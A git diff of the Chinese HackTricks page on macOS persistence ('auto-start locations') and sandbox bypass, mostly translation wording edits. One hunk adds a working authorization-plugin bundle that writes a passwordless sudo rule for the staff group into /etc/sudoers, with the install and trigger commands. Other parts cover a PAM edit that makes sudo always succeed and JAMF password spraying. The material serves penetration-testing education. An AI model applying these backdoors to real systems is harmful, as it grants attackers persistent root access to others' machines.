* **加入**[**💬**](https://emojipedia.org/speech-balloon/) [**Discord群组**](https://discord.gg/hRep4RUj7f) 或 [**Telegram群组**](https://t.me/peass) 或 **关注**我在**Twitter**上的[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**。**
|
||||||
* **通过向**[**hacktricks repo**](https://github.com/carlospolop/hacktricks) **和**[**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud) **提交PR来分享你的黑客技巧。**
|
* **通过向**[**hacktricks repo**](https://github.com/carlospolop/hacktricks) **和**[**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud) **提交PR来分享你的黑客技巧。**
|
||||||
|
|
||||||
</details>
|
</details>
|
||||||
|
|
||||||
本节内容主要基于博客系列[**Beyond the good ol' LaunchAgents**](https://theevilbit.github.io/beyond/),目标是添加更多的**自动启动位置**(如果可能的话),指出哪些技术在最新版本的macOS(13.4)上仍然有效,并指定所需的**权限**。
|
本节内容主要基于博客系列[**超越传统的LaunchAgents**](https://theevilbit.github.io/beyond/),目标是添加更多的**自动启动位置**(如果可能的话),指出最新版本的macOS(13.4)中仍然有效的技术,并指定所需的**权限**。
|
||||||
|
|
||||||
## 沙盒绕过
|
## 沙盒绕过
|
||||||
|
|
||||||
{% hint style="success" %}
|
{% hint style="success" %}
|
||||||
在这里,您可以找到用于**绕过沙盒**的启动位置,通过**将其写入文件**并**等待**一个非常**常见的操作**、一段**时间**或通常可以在沙盒内执行的**操作**,而无需需要root权限。
|
在这里,你可以找到用于**绕过沙盒**的启动位置,通过**将其写入文件**并**等待**一个非常**常见的操作**、一段**时间**或通常可以在沙盒内执行而不需要root权限的**操作**来简单地执行某些操作。
|
||||||
{% endhint %}
|
{% endhint %}
|
||||||
|
|
||||||
### Launchd
|
### Launchd
|
||||||
|
@ -91,7 +91,7 @@
|
||||||
launchctl list
|
launchctl list
|
||||||
```
|
```
|
||||||
{% hint style="warning" %}
|
{% hint style="warning" %}
|
||||||
如果一个 plist 文件是用户所有的,即使它位于守护程序系统范围的文件夹中,**任务将作为用户而不是作为 root 执行**。这可以防止一些特权升级攻击。
|
如果一个 plist 文件是由用户拥有的,即使它位于守护程序系统范围的文件夹中,**任务将作为用户而不是作为 root 执行**。这可以防止一些特权升级攻击。
|
||||||
{% endhint %}
|
{% endhint %}
|
||||||
|
|
||||||
### shell 启动文件
|
### shell 启动文件
|
||||||
|
@ -99,33 +99,33 @@ launchctl list
|
||||||
Writeup: [https://theevilbit.github.io/beyond/beyond\_0001/](https://theevilbit.github.io/beyond/beyond\_0001/)\
|
Writeup: [https://theevilbit.github.io/beyond/beyond\_0001/](https://theevilbit.github.io/beyond/beyond\_0001/)\
|
||||||
Writeup (xterm): [https://theevilbit.github.io/beyond/beyond\_0018/](https://theevilbit.github.io/beyond/beyond\_0018/)
|
Writeup (xterm): [https://theevilbit.github.io/beyond/beyond\_0018/](https://theevilbit.github.io/beyond/beyond\_0018/)
|
||||||
|
|
||||||
* 用于绕过沙盒的有用方法:[✅](https://emojipedia.org/check-mark-button)
|
* 用于绕过沙盒: [✅](https://emojipedia.org/check-mark-button)
|
||||||
|
|
||||||
#### 位置
|
#### 位置
|
||||||
|
|
||||||
* **`~/.zshrc`, `~/.zlogin`, `~/.zshenv`, `~/.zprofile`**
|
* **`~/.zshrc`, `~/.zlogin`, `~/.zshenv`, `~/.zprofile`**
|
||||||
* **触发条件**:使用 zsh 打开终端
|
* **触发条件**: 使用 zsh 打开终端
|
||||||
* **`/etc/zshenv`, `/etc/zprofile`, `/etc/zshrc`, `/etc/zlogin`**
|
* **`/etc/zshenv`, `/etc/zprofile`, `/etc/zshrc`, `/etc/zlogin`**
|
||||||
* **触发条件**:使用 zsh 打开终端
|
* **触发条件**: 使用 zsh 打开终端
|
||||||
* 需要 root 权限
|
* 需要 root 权限
|
||||||
* **`~/.zlogout`**
|
* **`~/.zlogout`**
|
||||||
* **触发条件**:使用 zsh 退出终端
|
* **触发条件**: 使用 zsh 退出终端
|
||||||
* **`/etc/zlogout`**
|
* **`/etc/zlogout`**
|
||||||
* **触发条件**:使用 zsh 退出终端
|
* **触发条件**: 使用 zsh 退出终端
|
||||||
* 需要 root 权限
|
* 需要 root 权限
|
||||||
* 可能还有其他位置:**`man zsh`**
|
* 可能还有更多的位置: **`man zsh`**
|
||||||
* **`~/.bashrc`**
|
* **`~/.bashrc`**
|
||||||
* **触发条件**:使用 bash 打开终端
|
* **触发条件**: 使用 bash 打开终端
|
||||||
* `/etc/profile`(未成功)
|
* `/etc/profile` (未生效)
|
||||||
* `~/.profile`(未成功)
|
* `~/.profile` (未生效)
|
||||||
* `~/.xinitrc`, `~/.xserverrc`, `/opt/X11/etc/X11/xinit/xinitrc.d/`
|
* `~/.xinitrc`, `~/.xserverrc`, `/opt/X11/etc/X11/xinit/xinitrc.d/`
|
||||||
* **触发条件**:预计与 xterm 触发,但是**未安装**,即使安装后也会出现以下错误:xterm: `DISPLAY is not set`
|
* **触发条件**: 预期与 xterm 一起触发,但是**未安装**,即使安装后也会抛出此错误: xterm: `DISPLAY is not set`
|
||||||
|
|
||||||
#### 描述和利用
|
#### 描述和利用
|
||||||
|
|
||||||
当我们的 shell 环境(如 `zsh` 或 `bash`)**启动时**,会执行 shell 启动文件。现在,macOS 默认使用 `/bin/zsh`,每当我们打开 `Terminal` 或通过 SSH 连接到设备时,我们都会进入这个 shell 环境。`bash` 和 `sh` 仍然可用,但必须明确启动。
|
当我们的 shell 环境(如 `zsh` 或 `bash`)**启动时**,会执行 shell 启动文件。现在的 macOS 默认使用 `/bin/zsh`,每当我们打开 `Terminal` 或通过 SSH 连接到设备时,我们都会进入这个 shell 环境。`bash` 和 `sh` 仍然可用,但必须明确启动。
|
||||||
|
|
||||||
我们可以使用 **`man zsh`** 阅读 zsh 的 man 页面,其中有关于启动文件的详细描述。
|
我们可以使用 **`man zsh`** 来阅读 zsh 的 man 页面,其中有关于启动文件的详细描述。
|
||||||
```bash
|
```bash
|
||||||
# Example executino via ~/.zshrc
|
# Example executino via ~/.zshrc
|
||||||
echo "touch /tmp/hacktricks" >> ~/.zshrc
|
echo "touch /tmp/hacktricks" >> ~/.zshrc
|
||||||
|
@ -352,7 +352,7 @@ root用户的启动位置存储在**`/private/var/root/Library/Preferences/com.a
|
||||||
## 条件沙盒绕过
|
## 条件沙盒绕过
|
||||||
|
|
||||||
{% hint style="success" %}
|
{% hint style="success" %}
|
||||||
在这里,您可以找到用于**绕过沙盒**的启动位置,通过**将其写入文件**并**期望不常见的条件**,如特定的**已安装程序,"不常见"的用户**操作或环境,来简单地执行某些操作。
|
在这里,您可以找到用于**绕过沙盒**的启动位置,它允许您通过**将其写入文件**并**期望不常见的条件**,如特定的**已安装程序、"不常见"的用户**操作或环境来执行某些操作。
|
||||||
{% endhint %}
|
{% endhint %}
|
||||||
|
|
||||||
### Cron
|
### Cron
|
||||||
|
@ -367,11 +367,11 @@ root用户的启动位置存储在**`/private/var/root/Library/Preferences/com.a
|
||||||
|
|
||||||
* **`/usr/lib/cron/tabs/`, `/private/var/at/tabs`, `/private/var/at/jobs`, `/etc/periodic/`**
|
* **`/usr/lib/cron/tabs/`, `/private/var/at/tabs`, `/private/var/at/jobs`, `/etc/periodic/`**
|
||||||
* 直接写入访问需要root权限。如果您可以执行`crontab <file>`,则不需要root权限
|
* 直接写入访问需要root权限。如果您可以执行`crontab <file>`,则不需要root权限
|
||||||
* **触发器**:取决于cron作业
|
* **触发器**: 取决于cron作业
|
||||||
|
|
||||||
#### 描述和利用
|
#### 描述和利用
|
||||||
|
|
||||||
使用以下命令列出**当前用户**的cron作业:
|
使用以下命令列出**当前用户**的cron作业:
|
||||||
```bash
|
```bash
|
||||||
crontab -l
|
crontab -l
|
||||||
```
|
```
|
||||||
|
@ -440,7 +440,7 @@ iTerm2偏好设置位于**`~/Library/Preferences/com.googlecode.iterm2.plist`**
|
||||||
|
|
||||||
可以在iTerm2设置中配置此设置:
|
可以在iTerm2设置中配置此设置:
|
||||||
|
|
||||||
<figure><img src="../.gitbook/assets/image (2) (1).png" alt="" width="563"><figcaption></figcaption></figure>
|
<figure><img src="../.gitbook/assets/image (2) (1) (1).png" alt="" width="563"><figcaption></figcaption></figure>
|
||||||
|
|
||||||
命令会反映在偏好设置中:
|
命令会反映在偏好设置中:
|
||||||
```bash
|
```bash
|
||||||
|
@ -468,15 +468,15 @@ open /Applications/iTerm.app/Contents/MacOS/iTerm2
|
||||||
{% endcode %}
|
{% endcode %}
|
||||||
|
|
||||||
{% hint style="warning" %}
|
{% hint style="warning" %}
|
||||||
很有可能有其他方法可以滥用iTerm2的偏好设置来执行任意命令。
|
很有可能有**其他方法滥用iTerm2首选项**来执行任意命令。
|
||||||
{% endhint %}
|
{% endhint %}
|
||||||
|
|
||||||
### xbar
|
### xbar
|
||||||
|
|
||||||
Writeup: [https://theevilbit.github.io/beyond/beyond\_0007/](https://theevilbit.github.io/beyond/beyond\_0007/)
|
Writeup: [https://theevilbit.github.io/beyond/beyond\_0007/](https://theevilbit.github.io/beyond/beyond\_0007/)
|
||||||
|
|
||||||
* 有用于绕过沙盒的功能:[✅](https://emojipedia.org/check-mark-button)
|
* 有用于绕过沙盒:[✅](https://emojipedia.org/check-mark-button)
|
||||||
* 但需要安装xbar
|
* 但必须安装xbar
|
||||||
|
|
||||||
#### 位置
|
#### 位置
|
||||||
|
|
||||||
|
@ -487,9 +487,9 @@ Writeup: [https://theevilbit.github.io/beyond/beyond\_0007/](https://theevilbit.
|
||||||
|
|
||||||
**Writeup**: [https://theevilbit.github.io/beyond/beyond\_0008/](https://theevilbit.github.io/beyond/beyond\_0008/)
|
**Writeup**: [https://theevilbit.github.io/beyond/beyond\_0008/](https://theevilbit.github.io/beyond/beyond\_0008/)
|
||||||
|
|
||||||
有用于绕过沙盒的功能:[✅](https://emojipedia.org/check-mark-button)
|
有用于绕过沙盒:[✅](https://emojipedia.org/check-mark-button)
|
||||||
|
|
||||||
* 但需要安装Hammerspoon
|
* 但必须安装Hammerspoon
|
||||||
|
|
||||||
#### 位置
|
#### 位置
|
||||||
|
|
||||||
|
@ -498,7 +498,7 @@ Writeup: [https://theevilbit.github.io/beyond/beyond\_0007/](https://theevilbit.
|
||||||
|
|
||||||
#### 描述
|
#### 描述
|
||||||
|
|
||||||
[**Hammerspoon**](https://github.com/Hammerspoon/hammerspoon) 是一款自动化工具,允许通过LUA脚本语言进行macOS脚本编写。我们甚至可以嵌入完整的AppleScript代码以及运行shell脚本。
|
[**Hammerspoon**](https://github.com/Hammerspoon/hammerspoon)是一款自动化工具,允许通过LUA脚本语言进行**macOS脚本编写**。我们甚至可以嵌入完整的AppleScript代码以及运行shell脚本。
|
||||||
|
|
||||||
该应用程序寻找一个名为`~/.hammerspoon/init.lua`的单个文件,并在启动时执行该脚本。
|
该应用程序寻找一个名为`~/.hammerspoon/init.lua`的单个文件,并在启动时执行该脚本。
|
||||||
```bash
|
```bash
|
||||||
|
@ -545,10 +545,10 @@ chmod +x "$HOME/Library/Application Support/xbar/plugins/a.sh"
|
||||||
#### 位置
|
#### 位置
|
||||||
|
|
||||||
* **`~/Library/Application Support/com.apple.backgroundtaskmanagementagent`**
|
* **`~/Library/Application Support/com.apple.backgroundtaskmanagementagent`**
|
||||||
* **触发器:**登录
|
* **触发器:** 登录
|
||||||
* 利用负载存储调用 **`osascript`**
|
* 利用负载存储调用 **`osascript`**
|
||||||
* **`/var/db/com.apple.xpc.launchd/loginitems.501.plist`**
|
* **`/var/db/com.apple.xpc.launchd/loginitems.501.plist`**
|
||||||
* **触发器:**登录
|
* **触发器:** 登录
|
||||||
* 需要 root 权限
|
* 需要 root 权限
|
||||||
|
|
||||||
#### 描述
|
#### 描述
|
||||||
|
@ -573,9 +573,9 @@ osascript -e 'tell application "System Events" to delete login item "itemname"'
|
||||||
|
|
||||||
(请参阅有关登录项的上一节,这是一个扩展)
|
(请参阅有关登录项的上一节,这是一个扩展)
|
||||||
|
|
||||||
如果将**ZIP**文件存储为**登录项**,则**`Archive Utility`**将打开它,如果ZIP文件例如存储在**`~/Library`**中,并且包含了带有后门的文件夹**`LaunchAgents/file.plist`**,那么该文件夹将被创建(默认情况下不存在),并且plist将被添加,因此下次用户再次登录时,将执行plist中指定的**后门**。
|
如果将**ZIP**文件存储为**登录项**,则**`Archive Utility`**将打开它,如果ZIP文件例如存储在**`~/Library`**中,并且包含具有后门的文件夹**`LaunchAgents/file.plist`**,那么该文件夹将被创建(默认情况下不会创建),并且plist将被添加,因此下次用户再次登录时,将执行plist中指定的**后门**。
|
||||||
|
|
||||||
另一个选项是在用户主目录下创建文件**`.bash_profile`**和**`.zshenv`**,因此如果LaunchAgents文件夹已经存在,此技术仍将起作用。
|
另一个选项是在用户主目录中创建文件**`.bash_profile`**和**`.zshenv`**,因此如果LaunchAgents文件夹已经存在,此技术仍将起作用。
|
||||||
|
|
||||||
### At
|
### At
|
||||||
|
|
||||||
|
@ -661,8 +661,8 @@ total 32
|
||||||
Writeup: [https://theevilbit.github.io/beyond/beyond\_0024/](https://theevilbit.github.io/beyond/beyond\_0024/)\
|
Writeup: [https://theevilbit.github.io/beyond/beyond\_0024/](https://theevilbit.github.io/beyond/beyond\_0024/)\
|
||||||
Writeup: [https://posts.specterops.io/folder-actions-for-persistence-on-macos-8923f222343d](https://posts.specterops.io/folder-actions-for-persistence-on-macos-8923f222343d)
|
Writeup: [https://posts.specterops.io/folder-actions-for-persistence-on-macos-8923f222343d](https://posts.specterops.io/folder-actions-for-persistence-on-macos-8923f222343d)
|
||||||
|
|
||||||
* 用于绕过沙箱:[✅](https://emojipedia.org/check-mark-button)
|
* 用于绕过沙盒:[✅](https://emojipedia.org/check-mark-button)
|
||||||
* 但您需要能够使用参数调用osascript并能够配置文件夹操作
|
* 但您需要能够调用带参数的osascript并能够配置文件夹操作
|
||||||
|
|
||||||
#### 位置
|
#### 位置
|
||||||
|
|
||||||
|
@ -741,11 +741,11 @@ mv /tmp/folder.scpt "$HOME/Library/Scripts/Folder Action Scripts"
|
||||||
```
|
```
|
||||||
然后,打开`Folder Actions Setup`应用程序,选择**要监视的文件夹**,并在您的情况下选择**`folder.scpt`**(在我的情况下,我称其为output2.scp):
|
然后,打开`Folder Actions Setup`应用程序,选择**要监视的文件夹**,并在您的情况下选择**`folder.scpt`**(在我的情况下,我称其为output2.scp):
|
||||||
|
|
||||||
<figure><img src="../.gitbook/assets/image (2) (1) (1).png" alt="" width="297"><figcaption></figcaption></figure>
|
<figure><img src="../.gitbook/assets/image (2) (1) (1) (1).png" alt="" width="297"><figcaption></figcaption></figure>
|
||||||
|
|
||||||
现在,如果您使用**Finder**打开该文件夹,您的脚本将被执行。
|
现在,如果您使用**Finder**打开该文件夹,您的脚本将被执行。
|
||||||
|
|
||||||
此配置存储在以base64格式存储的**plist**中,位于**`~/Library/Preferences/com.apple.FolderActionsDispatcher.plist`**。
|
此配置存储在以base64格式存储的**plist**中,位于**`~/Library/Preferences/com.apple.FolderActionsDispatcher.plist`**中。
|
||||||
|
|
||||||
现在,让我们尝试在没有GUI访问权限的情况下准备此持久性:
|
现在,让我们尝试在没有GUI访问权限的情况下准备此持久性:
|
||||||
|
|
||||||
|
@ -794,9 +794,9 @@ mv /tmp/folder.scpt "$HOME/Library/Scripts/Folder Action Scripts"
|
||||||
|
|
||||||
#### 描述和利用
|
#### 描述和利用
|
||||||
|
|
||||||
出现在Dock中的所有应用程序都在plist文件中指定:**`~/Library/Preferences/com.apple.dock.plist`**
|
在Dock中显示的所有应用程序都在plist文件中指定:**`~/Library/Preferences/com.apple.dock.plist`**
|
||||||
|
|
||||||
可以使用以下命令**添加一个应用程序**:
|
只需使用以下命令即可**添加一个应用程序**:
|
||||||
|
|
||||||
{% code overflow="wrap" %}
|
{% code overflow="wrap" %}
|
||||||
```bash
|
```bash
|
||||||
|
@ -879,9 +879,9 @@ killall Dock
|
||||||
|
|
||||||
#### 描述和利用
|
#### 描述和利用
|
||||||
|
|
||||||
**编译一个带有你的代码的**颜色选择器**捆绑包(你可以使用[**这个作为例子**](https://github.com/viktorstrate/color-picker-plus)),并添加一个构造函数(就像[屏幕保护程序部分](macos-auto-start-locations.md#screen-saver)中的那样),然后将捆绑包复制到`~/Library/ColorPickers`。
|
**编译一个颜色选择器**捆绑包,并将你的代码添加到其中(你可以使用[**这个作为例子**](https://github.com/viktorstrate/color-picker-plus)),然后将捆绑包复制到 `~/Library/ColorPickers`。
|
||||||
|
|
||||||
然后,当触发颜色选择器时,你的代码也应该被执行。
|
然后,当触发颜色选择器时,你的代码也会被执行。
|
||||||
|
|
||||||
请注意,加载你的库的二进制文件有一个**非常严格的沙盒**:`/System/Library/Frameworks/AppKit.framework/Versions/C/XPCServices/LegacyExternalColorPickerService-x86_64.xpc/Contents/MacOS/LegacyExternalColorPickerService-x86_64`
|
请注意,加载你的库的二进制文件有一个**非常严格的沙盒**:`/System/Library/Frameworks/AppKit.framework/Versions/C/XPCServices/LegacyExternalColorPickerService-x86_64.xpc/Contents/MacOS/LegacyExternalColorPickerService-x86_64`
|
||||||
|
|
||||||
|
@ -921,27 +921,27 @@ pluginkit -e use -i com.example.InSync.InSync
|
||||||
Writeup: [https://theevilbit.github.io/beyond/beyond\_0016/](https://theevilbit.github.io/beyond/beyond\_0016/)\
|
Writeup: [https://theevilbit.github.io/beyond/beyond\_0016/](https://theevilbit.github.io/beyond/beyond\_0016/)\
|
||||||
Writeup: [https://posts.specterops.io/saving-your-access-d562bf5bf90b](https://posts.specterops.io/saving-your-access-d562bf5bf90b)
|
Writeup: [https://posts.specterops.io/saving-your-access-d562bf5bf90b](https://posts.specterops.io/saving-your-access-d562bf5bf90b)
|
||||||
|
|
||||||
* 用于绕过沙箱的有用工具: [🟠](https://emojipedia.org/large-orange-circle)
|
* 用于绕过沙箱的有用工具:[🟠](https://emojipedia.org/large-orange-circle)
|
||||||
* 但你将会进入一个常见的应用程序沙箱
|
* 但你将会进入一个常见的应用程序沙箱
|
||||||
|
|
||||||
#### 位置
|
#### 位置
|
||||||
|
|
||||||
* `/System/Library/Screen Savers` 
|
* `/System/Library/Screen Savers` 
|
||||||
* 需要 root 权限
|
* 需要 root 权限
|
||||||
* **触发器**: 选择屏幕保护程序
|
* **触发条件**:选择屏幕保护程序
|
||||||
* `/Library/Screen Savers`
|
* `/Library/Screen Savers`
|
||||||
* 需要 root 权限
|
* 需要 root 权限
|
||||||
* **触发器**: 选择屏幕保护程序
|
* **触发条件**:选择屏幕保护程序
|
||||||
* `~/Library/Screen Savers`
|
* `~/Library/Screen Savers`
|
||||||
* **触发器**: 选择屏幕保护程序
|
* **触发条件**:选择屏幕保护程序
|
||||||
|
|
||||||
<figure><img src="../.gitbook/assets/image (1) (1) (1) (1) (1).png" alt="" width="375"><figcaption></figcaption></figure>
|
<figure><img src="../.gitbook/assets/image (1) (1) (1) (1) (1) (1).png" alt="" width="375"><figcaption></figcaption></figure>
|
||||||
|
|
||||||
#### 描述和利用
|
#### 描述和利用
|
||||||
|
|
||||||
在 Xcode 中创建一个新项目,并选择模板生成一个新的**屏幕保护程序**。然后,将代码添加到其中,例如以下代码以生成日志。
|
在 Xcode 中创建一个新项目,并选择模板生成一个新的**屏幕保护程序**。然后,将代码添加到其中,例如以下代码以生成日志。
|
||||||
|
|
||||||
**构建**它,并将 `.saver` 捆绑包复制到**`~/Library/Screen Savers`**。然后,打开屏幕保护程序 GUI,只需点击它,它就会生成大量的日志:
|
**构建**它,并将 `.saver` 捆绑包复制到**`~/Library/Screen Savers`**。然后,打开屏幕保护程序 GUI,只需点击它,它就会生成大量的日志:
|
||||||
|
|
||||||
{% code overflow="wrap" %}
|
{% code overflow="wrap" %}
|
||||||
```bash
|
```bash
|
||||||
|
@ -1115,7 +1115,7 @@ plutil -p /Library/Spotlight/iBooksAuthor.mdimporter/Contents/Info.plist
|
||||||
看起来这个不再起作用了。
|
看起来这个不再起作用了。
|
||||||
{% endhint %}
|
{% endhint %}
|
||||||
|
|
||||||
Writeup:[https://theevilbit.github.io/beyond/beyond\_0009/](https://theevilbit.github.io/beyond/beyond\_0009/)
|
写作:[https://theevilbit.github.io/beyond/beyond\_0009/](https://theevilbit.github.io/beyond/beyond\_0009/)
|
||||||
|
|
||||||
* 用于绕过沙箱的有用工具:[🟠](https://emojipedia.org/large-orange-circle)
|
* 用于绕过沙箱的有用工具:[🟠](https://emojipedia.org/large-orange-circle)
|
||||||
* 它需要特定的用户操作
|
* 它需要特定的用户操作
|
||||||
|
@ -1138,7 +1138,7 @@ Writeup:[https://theevilbit.github.io/beyond/beyond\_0009/](https://theevilbit
|
||||||
|
|
||||||
### 定期
|
### 定期
|
||||||
|
|
||||||
Writeup:[https://theevilbit.github.io/beyond/beyond\_0019/](https://theevilbit.github.io/beyond/beyond\_0019/)
|
写作:[https://theevilbit.github.io/beyond/beyond\_0019/](https://theevilbit.github.io/beyond/beyond\_0019/)
|
||||||
|
|
||||||
* 用于绕过沙箱的有用工具:[🟠](https://emojipedia.org/large-orange-circle)
|
* 用于绕过沙箱的有用工具:[🟠](https://emojipedia.org/large-orange-circle)
|
||||||
* 但您需要是root
|
* 但您需要是root
|
||||||
|
@ -1154,7 +1154,9 @@ Writeup:[https://theevilbit.github.io/beyond/beyond\_0019/](https://theevilbit
|
||||||
|
|
||||||
#### 描述和利用
|
#### 描述和利用
|
||||||
|
|
||||||
定期脚本(**`/etc/periodic`**)是由配置在`/System/Library/LaunchDaemons/com.apple.periodic*`中的**启动守护程序**执行的。请注意,存储在`/etc/periodic/`中的脚本将以**文件的所有者**身份**执行**,因此对于潜在的特权升级,这将无效。
|
定期脚本(**`/etc/periodic`**)是由配置在`/System/Library/LaunchDaemons/com.apple.periodic*`中的**启动守护程序**执行的。请注意,存储在`/etc/periodic/`中的脚本将以**文件的所有者**身份执行,因此对于潜在的特权升级,这将无效。
|
||||||
|
|
||||||
|
{% code overflow="wrap" %}
|
||||||
```bash
|
```bash
|
||||||
# Launch daemons that will execute the periodic scripts
|
# Launch daemons that will execute the periodic scripts
|
||||||
ls -l /System/Library/LaunchDaemons/com.apple.periodic*
|
ls -l /System/Library/LaunchDaemons/com.apple.periodic*
|
||||||
|
@ -1235,16 +1237,16 @@ account required pam_permit.so
|
||||||
password required pam_deny.so
|
password required pam_deny.so
|
||||||
session required pam_permit.so
|
session required pam_permit.so
|
||||||
```
|
```
|
||||||
因此,任何尝试使用**`sudo`的操作都会成功**。
|
因此,任何尝试使用**`sudo`命令都会成功**。
|
||||||
|
|
||||||
{% hint style="danger" %}
|
{% hint style="danger" %}
|
||||||
请注意,此目录受TCC保护,因此用户很可能会收到要求访问权限的提示。
|
请注意,该目录受TCC保护,因此用户很可能会收到要求访问权限的提示。
|
||||||
{% endhint %}
|
{% endhint %}
|
||||||
|
|
||||||
### 授权插件
|
### 授权插件
|
||||||
|
|
||||||
Writeup: [https://theevilbit.github.io/beyond/beyond\_0028/](https://theevilbit.github.io/beyond/beyond\_0028/)\
|
写作:[https://theevilbit.github.io/beyond/beyond\_0028/](https://theevilbit.github.io/beyond/beyond\_0028/)\
|
||||||
Writeup: [https://posts.specterops.io/persistent-credential-theft-with-authorization-plugins-d17b34719d65](https://posts.specterops.io/persistent-credential-theft-with-authorization-plugins-d17b34719d65)
|
写作:[https://posts.specterops.io/persistent-credential-theft-with-authorization-plugins-d17b34719d65](https://posts.specterops.io/persistent-credential-theft-with-authorization-plugins-d17b34719d65)
|
||||||
|
|
||||||
* 用于绕过沙盒的有用工具:[🟠](https://emojipedia.org/large-orange-circle)
|
* 用于绕过沙盒的有用工具:[🟠](https://emojipedia.org/large-orange-circle)
|
||||||
* 但需要以root身份进行额外配置
|
* 但需要以root身份进行额外配置
|
||||||
|
@ -1255,24 +1257,66 @@ Writeup: [https://posts.specterops.io/persistent-credential-theft-with-authoriza
|
||||||
* 需要root权限
|
* 需要root权限
|
||||||
* 还需要配置授权数据库以使用插件
|
* 还需要配置授权数据库以使用插件
|
||||||
|
|
||||||
#### 描述和利用方法
|
#### 描述和利用
|
||||||
|
|
||||||
您可以创建一个授权插件,在用户登录时执行以保持持久性。有关如何创建这些插件的更多信息,请查看先前的写作(但要小心,编写不良的插件可能会将您锁在外面,您将需要从恢复模式清理您的Mac)。
|
您可以创建一个授权插件,在用户登录时执行以保持持久性。有关如何创建这些插件的更多信息,请查看前面的写作(请注意,编写不良的插件可能会将您锁在外面,您将需要从恢复模式清理您的Mac)。
|
||||||
|
```objectivec
|
||||||
|
// Compile the code and create a real bundle
|
||||||
|
// gcc -bundle -framework Foundation main.m -o CustomAuth
|
||||||
|
// mkdir -p CustomAuth.bundle/Contents/MacOS
|
||||||
|
// mv CustomAuth CustomAuth.bundle/Contents/MacOS/
|
||||||
|
|
||||||
|
#import <Foundation/Foundation.h>
|
||||||
|
|
||||||
|
__attribute__((constructor)) static void run()
|
||||||
|
{
|
||||||
|
NSLog(@"%@", @"[+] Custom Authorization Plugin was loaded");
|
||||||
|
system("echo \"%staff ALL=(ALL) NOPASSWD:ALL\" >> /etc/sudoers");
|
||||||
|
}
|
||||||
|
```
|
||||||
|
**将**捆绑包**移动**到要加载的位置:
|
||||||
|
```bash
|
||||||
|
cp -r CustomAuth.bundle /Library/Security/SecurityAgentPlugins/
|
||||||
|
```
|
||||||
|
最后,将以下**规则**添加到加载此插件的位置:
|
||||||
|
```bash
|
||||||
|
cat > /tmp/rule.plist <<EOF
|
||||||
|
<?xml version="1.0" encoding="UTF-8"?>
|
||||||
|
<!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN" "http://www.apple.com/DTDs/PropertyList-1.0.dtd">
|
||||||
|
<plist version="1.0">
|
||||||
|
<dict>
|
||||||
|
<key>class</key>
|
||||||
|
<string>evaluate-mechanisms</string>
|
||||||
|
<key>mechanisms</key>
|
||||||
|
<array>
|
||||||
|
<string>CustomAuth:login,privileged</string>
|
||||||
|
</array>
|
||||||
|
</dict>
|
||||||
|
</plist>
|
||||||
|
EOF
|
||||||
|
|
||||||
|
security authorizationdb write com.asdf.asdf < /tmp/rule.plist
|
||||||
|
```
|
||||||
|
使用以下方法触发:
|
||||||
|
```bash
|
||||||
|
security authorize com.asdf.asdf
|
||||||
|
```
|
||||||
|
然后**staff组应该有sudo权限**(阅读`/etc/sudoers`以确认)。
|
||||||
|
|
||||||
### Man.conf
|
### Man.conf
|
||||||
|
|
||||||
Writeup: [https://theevilbit.github.io/beyond/beyond\_0030/](https://theevilbit.github.io/beyond/beyond\_0030/)
|
Writeup: [https://theevilbit.github.io/beyond/beyond\_0030/](https://theevilbit.github.io/beyond/beyond\_0030/)
|
||||||
|
|
||||||
* 用于绕过沙盒的有用工具:[🟠](https://emojipedia.org/large-orange-circle)
|
* 有用于绕过沙盒的方法:[🟠](https://emojipedia.org/large-orange-circle)
|
||||||
* 但需要以root身份进行额外配置,并且用户必须使用man命令
|
* 但你需要是root用户并且用户必须使用man命令
|
||||||
|
|
||||||
#### 位置
|
#### 位置
|
||||||
|
|
||||||
* **`/private/etc/man.conf`**
|
* **`/private/etc/man.conf`**
|
||||||
* 需要root权限
|
* 需要root权限
|
||||||
* **`/private/etc/man.conf`**:每次使用man命令时
|
* **`/private/etc/man.conf`**:每当使用man命令时
|
||||||
|
|
||||||
#### 描述和利用方法
|
#### 描述和利用
|
||||||
|
|
||||||
配置文件**`/private/etc/man.conf`**指示打开man文档文件时要使用的二进制文件/脚本。因此,可以修改可执行文件的路径,以便用户每次使用man命令阅读文档时都会执行一个后门。
|
配置文件**`/private/etc/man.conf`**指示打开man文档文件时要使用的二进制文件/脚本。因此,可以修改可执行文件的路径,以便用户每次使用man命令阅读文档时都会执行一个后门。
|
||||||
|
|
||||||
|
@ -1408,7 +1452,7 @@ Writeup: [https://theevilbit.github.io/beyond/beyond\_0023/](https://theevilbit.
|
||||||
|
|
||||||
Apple 引入了一个名为 **emond** 的日志记录机制。看起来它从未完全开发,并且可能被 Apple 放弃以开发其他机制,但它仍然可用。
|
Apple 引入了一个名为 **emond** 的日志记录机制。看起来它从未完全开发,并且可能被 Apple 放弃以开发其他机制,但它仍然可用。
|
||||||
|
|
||||||
这个鲜为人知的服务对于 Mac 管理员可能没有太多用处,但对于威胁行为者来说,一个非常好的理由是将其用作一种持久性机制,大多数 macOS 管理员可能不知道要寻找的地方。检测 emond 的恶意使用不应该很困难,因为该服务的系统 LaunchDaemon 只会在一个地方寻找要运行的脚本:
|
这个鲜为人知的服务对于 Mac 管理员来说可能没有太多用处,但对于威胁行为者来说,一个非常好的理由是将其用作一种持久性机制,大多数 macOS 管理员可能不知道要寻找的地方。检测 emond 的恶意使用不应该很困难,因为该服务的系统 LaunchDaemon 只会在一个地方寻找要运行的脚本:
|
||||||
```bash
|
```bash
|
||||||
ls -l /private/var/db/emondClients
|
ls -l /private/var/db/emondClients
|
||||||
```
|
```
|
||||||
|
|
|
@ -43,7 +43,7 @@ JAMF可以运行**自定义脚本**(由系统管理员开发的脚本)、**
|
||||||
|
|
||||||
#### JAMF自注册
|
#### JAMF自注册
|
||||||
|
|
||||||
访问类似`https://<company-name>.jamfcloud.com/enroll/`的页面,查看是否启用了**自注册**。如果启用了,可能会**要求输入凭据**。
|
访问类似`https://<company-name>.jamfcloud.com/enroll/`的页面,查看是否启用了**自注册**。如果启用了,可能会**要求提供凭据**。
|
||||||
|
|
||||||
你可以使用脚本[**JamfSniper.py**](https://github.com/WithSecureLabs/Jamf-Attack-Toolkit/blob/master/JamfSniper.py)进行密码喷洒攻击。
|
